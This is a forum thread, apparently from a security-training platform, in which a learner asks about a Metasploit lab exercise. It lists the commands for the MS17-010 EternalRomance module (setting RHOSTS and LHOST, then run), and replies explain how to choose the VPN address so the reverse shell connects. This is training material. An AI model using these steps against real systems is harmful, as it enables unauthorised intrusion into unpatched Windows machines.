Using the Metasploit Framework: Modules exercise

Hello.

I am currently following the Metasploit module. In the section “Modules”, the final exercise is as follows:

“Use the Metasploit-Framework to exploit the target with EternalRomance. Find the flag.txt file on Administrator’s desktop and submit the contents as the answer.”

I have managed to complete the exercise and find the flag. However, there are some things that are not really clear to me. I ran the following commands in my MacOS terminal:

  1. use /exploit/Windows/ smb/ms17_010_psexe

  2. set RHOSTS 10.129.52.27

  3. set LHOST 10.10.12.20

  4. run

In step 2 I set the host of the target machine, which is given my the exercise. In step 3 I set the host of my own machine. When I am connected to the VPN, I specify the inet address which I found via:

“ifconfig | grep inet”

The above command gives me a list of utun’s, namely utun0 - utun5. However, I cannot find what exactly the utun5 does?

Furthermore, everything works fine when I connect to the remote host via VPN. But when I am not connected to VPN, and I use my IPv4 address instead of the inet address I get the following error

" Handler failed to bind to :4444:"

How can I connect by using my IPv4 address?

Thanks,

Roy

2 Likes

ip a
copy the ip from tun0, which is vpn ip, not your own local ip

3 Likes

I had the same issue with the pwnbox or a foothold machine I needed to rdp to. It didn’t want to bind because it didn’t have the privs. Using sudo msfconsole helps you run commands smoothly

I agree! Definitely check your tun0 interface (ip addr )for the correct LHOST setting. Also, try restarting the target machine several times if needed; that worked for me to get a successful reverse shell.